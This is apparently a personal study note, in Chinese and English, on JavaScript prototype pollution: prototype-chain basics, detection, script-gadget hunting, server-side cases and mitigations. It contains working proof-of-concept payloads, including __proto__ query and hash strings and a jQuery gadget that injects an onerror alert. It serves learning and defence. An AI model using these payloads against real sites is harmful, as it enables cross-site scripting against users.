笔记中英文混杂,问就是懒得翻译.学习笔记都是二次吸收,原始文章见Resource&Reference处. 笔记只是留给自己学习反复查阅和理解的…尽可能写的对自己来说全面一些.
其实学了也还不会找gadget,我都想要不要去学下前端开发了_(:3_|/_) 今天也是被自己菜到抑郁的一天呢!
Intro
Prototype Pollution is a vulnerability that allows attackers to exploit the rules of the JavaScript programming language, by injecting properties into existing JavaScript language construct prototypes
:Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain
- JavaScript allows all Object attributes to be altered,This includes their magical attributes such as
__**proto__
** ,constructor
andprototype
impact
- Denial of Service: by triggering JavaScript exceptions
- RCE: by tampering with the application source code to force the code path that the attacker injects
- XSS:
Base Knowledege
理解object
最简单的object:
var obj = {};
该object有一些 property
:
obj.__proto__
obj.constructor
obj.toString
- ….
In JavaScript, functions can be treated like normal variablesIn JavaScript, functions can be treated like normal variables
so object methods are definede as properties, like this:
var o = {name: 'Ivan', surname: 'Ivanov'}
o.foo = function() {
console.log("foobar")
}
> o.foo()
< foobar
< undefined
进一步理解:
The concept of a class in JavaScript starts with a function. The function itself serves as the constructor of the class
function MyClass() {
}
var inst = new MyClass();
这里Function被所有在原型(proptotype)上声明的“MyClass”实例所使用,且原型在运行时被修改。这意味着任何时候都能够修改一个class的prototype(增加,修改,删除)
回头看最开始的(最简单的object),可以理解为该object的构造函数其实是 Object
,而例如 toString
则是 Object
上的prototype。
Property access
获取property的方法参考:https://www.notion.so/Javascript-Prototype-Pollution-232f17fb812543ff9749b1257cee191e#6856032c4ccf42368be8f7e3e9447c4c
- obj.name
- obj[”name”]
Object prototype
Let’s call toString()
method
> o.toString()
< "[object Object]"
Where did the tostring
method come from?
Almost any entity is an object that includes arrays, functions, and even class definition!
property [[Prototype]]
How can you use them to implement such a convenient feature of the classes as inheritance? You can select a special property that each object will have. It will contain a reference to the parent. Let’s call this property [[Prototype]]
what if we don’t want to inherit all the properties and methods from the parent,Let’s select a special property from the parent from which the properties and methods will be inherited and call it prototype
!
When you access an object property via o.name or o['name'] actually does the following:
- The JavaScript engine searches for the
name
property in theo
object. - If the property is present, it is returned. Otherwise, the prototype of the
o
object is taken and the property is searched for in it!
So it turns out that the toString()
method is actually defined in Object.prototype
> o.__proto__
< {constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnProperty: ƒ, __lookupGetter__: ƒ, …}
> o.__proto__.__proto__
< null
一直到null的这条prototypes的链条称为原型链
📢 By the way, the word “prototype” in JavaScript can refer to at least three different things, depending on the context:
- Internal property [[Prototype]]. It is called internal because it lives in the "guts" of the JavaScript engine, we only get access to it through the special functions proto, Object.getPrototypeOf(), and others.
- The prototype property: Object.prototype, Function.prototype, and others.
- The proto property. A rare and not quite correct use, because technically proto is a getter / setter and only gets a reference to the prototype of the object and returns it.
__proto__
和 prototype的区别
首先 class
是语法糖,
prototype
(原型)用于声明类时,创建类下的方法(不然会新建对象,其下的方法就会执行一次),可以认为prototype是类 Foo
的一个属性.
function Foo() {
this.bar = 1
}
Foo.prototype.show = function show() {
console.log(this.bar)
}
let foo = new Foo()
foo.show()
类对象在实例化的时候,会拥有prototype中哦你感动属性和方法
__proto__
用于访问原型(prototype), 即
foo.__proto__ == Foo.prototype
原型链继承
原型链的查找发生在对象上.
- 每个构造函数(constructor)都有一个原型对象(prototype)
- 对象的
__proto__
属性,指向类的原型对象prototype
- JavaScript使用prototype链实现继承机制
What is prototype pollution?
The term prototype pollution refers to the situation when the
prototype
property of fundamental objects is changed.
what prototype pollution look like in the code
var o = {};
var a = process.argv[2];
var b = 'test';
var v = process.argv[3];
console.log(({}).test);
o[a][b] = v;
console.log(({}).test);
attacker controls the parameters a
and v
,they can:
v = __proto__
base sample:
sample 1:
let someObject = {}
let user = {}
console.assert(user.isAdmin === true)
// Rerturn:Assertion failed
someObject.__proto__.isAdmin = true
console.assert(user.isAdmin === true)
// Return:udefined
sample 2
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
sample3
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
Detection
该节参考:https://blog.s1r1us.ninja/research/PP
Case 1
检查 query/hash
该例子使用了canjs-deparam 库去解析query参数
keyBreaker = /([^\[\]]+)|(\[\])/g,
...
module.exports = namespace.deparam = function (params, valueDeserializer) {
valueDeserializer = valueDeserializer || idenity;
var data = {}, pairs, lastPart;
if (params && paramTest.test(params)) {
pairs = params.split('&');
pairs.forEach(function (pair) {
var parts = pair.split('='),
key = prep(parts.shift()),
value = prep(parts.join('=')),
current = data;
if (key) {
parts = key.match(keyBreaker);
for (var j = 0, l = parts.length - 1; j < l; j++) {
var currentName = parts[j],
nextName = parts[j + 1],
currentIsArray = isArrayLikeName(currentName) && current instanceof Array;
if (!current[currentName]) {
if(currentIsArray) {
current.push( isArrayLikeName(nextName) ? [] : {} );
} else {
// If what we are pointing to looks like an `array`
current[currentName] = isArrayLikeName(nextName) ? [] : {};
}
}
if(currentIsArray) {
current = current[current.length - 1];
} else {
current = current[currentName];
}
}
lastPart = parts.pop();
if ( isArrayLikeName(lastPart) ) {
current.push(valueDeserializer(value));
} else {
current[lastPart] = valueDeserializer(value);
}
}
});
}
return data;
};
var obj = deparam(location.hash.substr(1))
例如上面的例子,检测是否存在原型链污染解析的方式是遍历不同的原型链污染payload在 location.hash
和 location.search
中:
x[__proto__][abaeead] = abaeead
x.__proto__.edcbcab = edcbcab
__proto__[eedffcb] = eedffcb
__proto__.baaebfc = baaebfc
Case 2
这个例子里,我们检查一些位于客户端的用户输入或一些data/response处理的功能,会导致原型链污染.大部分时候,这个将导致self-XSS,这是因为攻击者无法控制例如case1的来自于location的输入,但,大部分时候,self-XSS能转换为reflected XSS
这部分自动化使用CodeQL,需要下载全部的javascript,然后创建CodeQL数据库并扫描是否有js会导致prototype pollution
Property definition by path/location
Prototype pollution list:https://github.com/BlackFan/client-side-prototype-pollution
- see al available properties of the Object:
Object.prototyp
you can pollute:
- polluting all the object with the new attribute (reference JSON解析的情况下,
__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。 ) - polluting the DOM (reference )
unsafe merge recurses
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
简述原型污染下merge recurses步骤:
- 检查源代码是否包含
__proto__
属性(被Object.definProperty()
命名的),属性存在且一个object既在目标也在源代码中,且在目标上合并递归 - 攻击者定义
Object
来源,将properties复制到Object
的prototype上
Example 1
we create object Book as:
var book = {bookName: "Book name", authorName: "Author of book"};
we can use book.bookName
or book["bookName"]
to get the book’s name
not work:
jsx*book.constructor.protoSomeRandomName // this will not work, since there is no attribute protoSomeRandomName*
work:
jsxObject.__proto__["protoSomeRandomName"]="protoSomeRandomValue" book.constructor.protoSomeRandomName // this will work and return value protoSomeRandomValue
- We proved this indeed polluted all the objects created from the object Object with the new attribute,and all of these new objects have inherited this attribute from the prototype.
other ways:
jsxObject.__proto__["protoSomeRandomName"]="protoSomeRandomValue" Object.__proto__.protoSomeRandomName="protoSomeRandomValue" Object.constructor.prototype.protoSomeRandomName="protoSomeRandomValue" Object.constructor["prototype"]["protoSomeRandomName"]="protoSomeRandomValue"
**vulnerable document.location parsers
Credits go to: s1r1us
有关的文章:
相关学习笔记
Example 1 : jquery-deparam
.
https://msrkp.github.io/pp/1.html?proto[protoSomeRandomName]=protoSomeRandomValue
related : https://security.snyk.io/vuln/SNYK-JS-JQUERYDEPARAM-1255651
Example 2
https://msrkp.github.io/pp/2.html?proto[protoSomeRandomName]=protoSomeRandomValue
Example 3
https://msrkp.github.io/pp/3.html?proto[protoSomeRandomName]=protoSomeRandomValue
Identifying the vulnerable library
我们下一步需要:
- 识别存在漏洞的library
- 明确具体那一行原型链被污染
- 哪些污染结果存储在了数据库中
如果application不复杂,可以使用以下关键词: location.hash/decodeURIComponent/location.search
Blocking the JS resource request in Firefox

为了确认对应的js源文件是否导致了原型链污染.我们可以block url ,然后确认被污染的property是否为 undefined
,如果是,则确认该js源文件导致了原型链污染
Debugger Breakpoint on setter
This technique is easier than others, we can set a breakpoint when the property is set to Obect.prototype.

function breakpoint(obj, prop){
var tmp = obj[prop];
Object.defineProperty(obj, prop, {
set: function(val) {
debugger;
return tmp = val;
}
});
};
sensitive function
javascript:
Object.assign
npmjs/jquery
canjs-deparam
- deparam
Finding Script Gadgets
What is a script gadget?
定义
On the client-side, the escalation to XSS is the most interesting. The JavaScript code that can be used to escalate prototype pollution to other vulnerability is called a gadget.
在确认了property被污染后, 是否有application logic或功能点能导致javascript execution.
这里举的例子是SwiftType Search library中的script gadget,该payload会导致XSS:
https://example.com/#__proto__[xxx]=alert(1)
以下是导致产生alert的代码片段(script gadget), $.each
遍历 this._userServerConfiguration.install.hooks
对象以及位于原型(prototype)上的属性,这将导致我们污染的原型 xxx
被执行
each: function(t, e, i) {
/*removed for brevity*/
else
for (o in t)
if (r = e.call(t[o], o, t[o]),
r === !1)
break;
return t
}
pInstall._convertStringHooksToFunctions = function() {
var functionHooks = {};
$.each(this._userServerConfiguration.install.hooks, function(hookName, hookFunction) {
functionHooks[hookName] = eval(hookFunction)
}),
this._userServerConfiguration.install.hooks = functionHooks
}
using existing gadgets
First of all, it makes sense to check the existing gadgets in the BlackFan/client-side-prototype-pollution repository or in the Cross-site scripting (XSS) cheat sheet.
- Using the Wappalyzer plugin.
- Using a script fingerprint.js.
fingerprint.js使用方式:
Copy the script and execute it in the context of the vulnerable page.

- fingerprint.js shows that the page has a Twitter Universal Website Tag gadget
去https://github.com/BlackFan/client-side-prototype-pollution 搜关键词”Universal Website Tag” 发现已知gadget
找到后测试:we are interested in the PoC section with a ready-made payload. Trying out a payload on a vulnerable site
[https://ctf.nikitastupin.com/pp/known.html?__proto__[hif][]=javascript:alert(document.domain)](https://ctf.nikitastupin.com/pp/known.html?__proto__[hif][]=javascript:alert(document.domain).)
👏 Finding new gadgets
like this: [https://ctf.nikitastupin.com/pp/unknown.html?__proto__[polluted]=31337](https://ctf.nikitastupin.com/pp/unknown.html?__proto__[polluted]=31337.)
Despite the fact that Wappalyzer reports the presence of jQuery,this is a false positive due to the jquery-deparam library that is used on the site
There are several approaches to finding new gadgets:
- filedescriptor/untrusted-types. At the time of writing, there are two versions of the plugin:
main
andold
. We will useold
because it is simpler thanmain
. This plugin was originally developed for DOM XSS search, details can be found in the video Finding DOMXSS with DevTools | Untrusted Types Chrome Extension. - pollute.js. How this tool works, as well as what vulnerabilities it allowed you to find, can be read in the article Prototype pollution — and bypassing client-side HTML sanitizers.
- Search with your hands, using the debugger.
案例请看https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2 下的Edge case 接近于现实的案例.非常精彩的分析过程
Keyword search and Source Code Review
if application is simple,we can search for keywords like:
srcdoc
innerHTML
iframe
crateElement
review the source code and check if it leads to javascript execution.
Sometimes, mentioned techniques might not find gadgets at all.
In that case, pure source code review reveals some nice gadgets like the below example.
jQuery example
BlackFan found this cool gadget in jQuery with source code review.
<script/src=https://code.jquery.com/jquery-3.3.1.js></script>
<script>
Object.prototype.preventDefault='x'
Object.prototype.handleObj='x'
Object.prototype.delegateTarget='<img/src/onerror=alert(1)>'
/* No extra code needed for jQuery 1 & 2 */
$(document).off('foobar');
</script>
Here is the piece of code which is responsible for the gadget which is self explanatory.
https://github.com/jquery/jquery/blob/5c2d08704e289dd2745bcb0557b35a9c0e6af4a4/src/event.js#L798
if ( types && types.preventDefault && types.handleObj ) {
handleObj = types.handleObj;
jQuery( types.delegateTarget ).off(
handleObj.namespace ?
handleObj.origType + "." + handleObj.namespace :
handleObj.origType,
handleObj.selector,
handleObj.handler
);
return this;
}
Server-side prototype pollution
It all started with the Olivier Arteau — Prototype pollution attacks in NodeJS applications , prototype-pollution-nsec18.Oliver discovered the prototype pollution vulnerability in several npm packages, including one of the most popular lodash packages ( CVE-2018–3721). The lodash package is used in many applications and packages of the JavaScript ecosystem. In particular, it is used in the popular Ghost CMS
Finding prototype pollution
没有源代码这类漏洞很难被检测和利用(有CVE和现成的payload除外).
假设,我们有源代码,代码中哪些地方值得被注意,漏洞最常见的地方在哪里?
What language constructs are prone to the vulnerability?
Most often, prototype pollution is found in the following constructs / operations:
- recursive merging of objects (for example, jonschlinkert/merge-deep)
- cloning an object (for example, jonschlinkert/clone-deep)
- converting GET parameters to a JavaScript object (for example, AceMetrix/jquery-deparam)
- convert
.toml
or.ini
configuration files to a JavaScript object (for example, npm/ini)
We can trace a pattern: those operations that take a complex data structure (for example, .toml
) as input and convert it into a JavaScript object are vulnerable
Dynamic analysis
Let’s start with dynamic, as it is easier to understand and apply. The algorithm is quite simple and is already implemented in find-vuln:
- Download the npm package.
- Call each function in the package, with a pagelode as an argument.
- Check whether the vulnerability has worked.
The only drawback of find-vuln.js is that it doesn’t check constructor.prototype
and therefore misses some of the vulnerabilities, but this gap is easy enough to fix.In general, making small changes to find-vuln.js even now you can find vulnerabilities in npm packages.
static analysis
impact
在NodeJS环境里:
- guaranteed DoS:can overwrite a basic function
vuln in template engines
In a web application, often you can spin up to remote code execution. Normally, this is done with the template engines. The details of the operation can be found in the articles below.
- AST Injection, Prototype Pollution to RCE
- Real-world JS — 1
- Prototype pollution attack in NodeJS application
Next.js
you need know:
- Amp
escape sandbox
[16:49]

Mitigation
两种比较常用的方法:
- 字段黑名单(Field black list)
- Json模式(JSON schema)
Field black list
大部分开发者是添加 __proto__
到黑名单(不推荐)
黑名单推荐:
constructor.prototype
- 优点:能修复大部分问题,但是同时它没有完全解决问题
- 缺点:仍然存在修改
Object.prototype
和其他prototype
问题
Object.create(null)
- 优点:使用没有prototype的object,这样修改prototype将变得不可能
- 缺点:对功能性有些损失,例如有人想用
toString()
的场景,但会被提示o.toString is not a function
Object.freeze()
- 优点:使用
Object.freeze()
来冻结Object.prototype
,这样,在这之后,Object.prototype
不能被修改. - 缺点/pitfalls:
- 修改
Object.prototype
的依赖关系可能被中断 - 通常也需要冻结
Array.prototype
和其他object
- 修改
- 优点:使用
JSON schema
验证通过JSON schema预定义的输入数据,并丢弃其他参数
For example, you can do this using the avj library with the additionalProperties = false
parameter.
Resource&Reference:
Video:
- https://www.youtube.com/watch?v=XS_UMqQalLI
- https://www.youtube.com/watch?v=oGeEoaplMWA DEF CON Safe Mode - Feng Xiao - Discovering Hidden Properties to Attack Node js Ecosystem
Ariticle
- https://brightsec.com/blog/prototype-pollution/
- https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html 推荐 讲的不错
- https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2 这个写的好好
Book
- Prototype pollution attack in NodeJS application: https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf
Demo:
github: